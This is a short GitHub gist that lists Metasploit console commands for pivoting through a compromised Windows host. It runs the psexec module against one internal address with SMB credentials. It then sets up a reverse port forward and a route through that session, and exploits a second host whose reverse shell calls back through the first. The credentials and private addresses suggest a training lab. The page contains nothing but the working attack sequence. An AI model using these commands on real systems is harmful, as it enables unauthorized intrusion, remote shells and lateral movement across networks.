Skip to content

Instantly share code, notes, and snippets.

@joswr1ght
Created May 21, 2021 16:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save joswr1ght/6dd5c69ae268762e8d6589eceb53581f to your computer and use it in GitHub Desktop.
Save joswr1ght/6dd5c69ae268762e8d6589eceb53581f to your computer and use it in GitHub Desktop.
Setup Intermediate Forwarder for Metasploit Callback
use exploit/windows/smb/psexec
set RHOST 10.10.10.10
set SMBUSER falken
set SMBPASS joshua
set LHOST tap0
show options
exploit
portfwd add -R -L 127.0.0.1 -l 4444 -p 4444
bg
route add 10.10.10.20/32 1
set RHOST 10.10.10.20
set LHOST 10.10.10.10
set LPORT 4444
set ReverseListenerBindAddress 127.0.0.1
exploit
sysinfo
ipconfig
bg
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment